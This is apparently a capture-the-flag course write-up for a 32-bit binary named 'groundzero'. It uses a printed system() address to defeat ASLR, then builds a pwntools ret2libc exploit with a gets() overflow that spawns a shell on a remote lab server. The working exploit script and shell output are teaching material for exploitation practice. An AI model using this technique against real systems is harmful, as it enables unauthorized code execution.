# groundzero

This binary we will be beating ASLR using a provided leak. This will be very similar to *gimme*, but in this case we are beating ASLR instead of PIE.

In order to bypass ASLR, we need the address of a function that's *inside the library*. This means the function must be a **PLT** function rather than one that's defined inside the binary. Common examples of functions to leak are `system()`, `printf()`, or `puts()`.

## Checking Security

Let's start with running `checksec`:

```
$ checksec ./groundzero
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/07-
aslr/groundzero/src/groundzero'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

We notice that ASLR is not part of this description! This is because the binary *does not know that ASLR is turned on*, because the binary is not affected by ASLR. Only the libraries are affected by ASLR.

> The direct consequence of this is that **we will never know if ASLR is turned on for a remote server**. If we write an exploit that ignores ASLR and it doesn't work, we should assume that ASLR is probably enabled, and we will need to leak the `libc` base address to fix our exploit.

We also notice that there is no canary, meaning stack overflow exploits are possible. PIE is enabled, but this won't be problematic (*be sure that you understand why!*).

## Attack Vector Inspiration

Let's step through `gdb` and see what we can find.

We first notice there is no `win()` function. However, `system@plt` is in the binary, meaning we'll most likely need to call that ourselves. We did something like this in the ROP challenges. We will need an argument to pass to `system()`, which is usually either `/bin/sh` or `cat flag.txt`. If we check for either of those already being in the binary:

```
gef➤  search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/i386-linux-gnu/libc.so.6'(0xf7da2000-0xf7e27000),
permission=r--
  0xf7dbd0f5 - 0xf7dbd0fc  →   "/bin/sh"
```

```
gef➤  search-pattern "cat flag.txt"
[+] Searching 'cat flag.txt' in memory
```

`/bin/sh` is in memory! This means we just need to pass its address into `system()` and we'll achieve a shell.

Now that we have the attack vector inspiration, we'll need to execute it. We need a way to leak the `libc` base address so that we know the address of `system()` and `"/bin/sh"`. Then, we need to overflow the buffer and call our `system()` function.

## Static Analysis

If we check `read_in`, there is a call to `printf`. Before this call there are two items pushed on the stack:

```
   0x565561e8 <+27>:    push   eax
   0x565561e9 <+28>:    lea    eax,[ebx-0x1fbc]
   0x565561ef <+34>:    push   eax
=> 0x565561f0 <+35>:    call   0x56556050 <printf@plt>
```

If we check the data that is in the top two entries of the stack:

```
gef➤  x/2wx $esp
0xffffd550: 0x56557008  0xf7c48150
gef➤  x/s 0x56557008
0x56557008: "System is at: %lp\n"
gef➤  x/wx 0xf7c48150
0xf7c48150 <system>:    0xfb1e0ff3
```

We see that this print statement is printing the address of `system()`! Since this function resides in the `libc` binary, this means that we can use it to leak `libc`.

After this, there is a `gets()` call that has us writing to `ebp-0x34`:

```
   0x5655620f <+66>:    lea    eax,[ebp-0x34]
   0x56556212 <+69>:    push   eax
=> 0x56556213 <+70>:    call   0x56556070 <gets@plt>
```

This gives us everything we need to write our exploit. We have a way to leak `libc`, then a way to overflow the buffer.

## Exploit

There are two ways to write the exploit.

1. Get all the offsets from `gdb` and use those to get the base address, then find the offset of `/bin/sh` and use that as the argument.
2. Get pwntools to do it all for you and save the hassle of collecting all the information yourself.

We're going to go with the second option. The first one is a good challenge to the reader to test their mastery of `gdb` and writing exploits. The second one will mimic the way we wrote PIE exploits.

We'll start by defining our binary and process. It's important that we define a variable called `libc` (or something similar) that's valued at `elf.libc`. This will let us set our base address once we leak it.

> This is the same way that we use `elf.address` to define the base address before we called any functions.

```
elf = context.binary = ELF('./groundzero')
libc = elf.libc
proc = remote('vunrotc.cole-ellis.com', 6100)
```

From here, we'll collect the leak from the output and set the base address. When we do this, the functions and addresses will be based on `libc` rather than `elf`, because that is the binary being randomized.

```
# get the leak
proc.recvuntil('at: ')
leak = int(proc.recvline(), 16)

# get address
libc.address = leak - libc.sym.system
print(f"LIBC leaked! {hex(libc.address)}")
```

I recommend getting in the habit of printing leaks when they happen so you can verify that your code is working. Then, you can verify the accuracy of the leak.

From here, we'll write the exploit.

- We can get the address of `system` using `libc.sym.system`.
- We can get the address of `/bin/sh` using `next(libc.search('/bin/sh'))`. *Why does this work?* `libc.search()` returns a *generator object* of all the addresses of the string `/bin/sh`. This is Python's equivalent of an iterator. To get the first address, we can use `next()` to get the first object.

```
payload = b'A' * 56
payload += p32(libc.sym.system)
payload += p32(0x0)
payload += p32(next(libc.search(b'/bin/sh')))
```

Finally, we'll send the payload and drop into an interactive shell.

```
proc.sendline(payload)
proc.interactive()
```

If we run this, we'll get a shell and we can call `cat flag.txt` to get the flag.

```
$ python3 exploit.py
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/07-
aslr/groundzero/src/groundzero'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/usr/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to vunrotc.cole-ellis.com on port 6100: Done
/home/joybuzzer/Documents/vunrotc/public/binex/07-
aslr/groundzero/src/exploit.py:8: BytesWarning: Text is not bytes; assuming
ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil('at: ')
LIBC leaked! 0xf7d35000
[*] Switching to interactive mode
$ cat flag.txt
flag{welcome_to_reality}
```

### Putting a Formal Name

This process is also known as a `ret2libc`. The `ret2libc` exploit involves getting the address of a function inside the `libc` binary (we almost always pick `system`), and then jump to that function. The most common form of the `ret2libc` exploit is to jump to `system()` and pass `/bin/sh` as the argument. This is what we did in this exploit.

Since ASLR was enabled, we had to beat ASLR and then perform the `ret2libc`. ASLR is not always enabled for it to be a `ret2libc` exploit. If ASLR is not enabled, we can just jump to `system()` and pass `/bin/sh` as the argument.

Later on, we'll introduce another technique called the `ret2plt`, which beats ASLR but jumps to a location on the PLT table instead of the function itself. This is useful when we don't have a leak, but we know the address of a function in the PLT table. We'll cover this at the end of the ASLR section.